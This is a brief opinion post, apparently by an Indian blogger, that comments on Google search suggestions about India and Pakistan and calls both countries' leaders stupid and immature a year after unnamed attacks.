So, people who search Google think that India is the richest country in the world, in asia, a third world country, great, Afghanistan’s largest trading partner. They want to know what India is known for and which continent it is in.

And about Pakistan, they think that its failed state, dangerous, doomed, a problem and a mess and few think its better than India. Few want to know where it is located.

Well, as an Indian, I think Pakistan’s leaders are stupid, immature at the same time, Indian leaders are just stupid other than a few like Raj Thackeray. They are stupid as well as immature.

TL;DR - One year over after attacks. No progress, none punished. Pakistan leaders are stupid.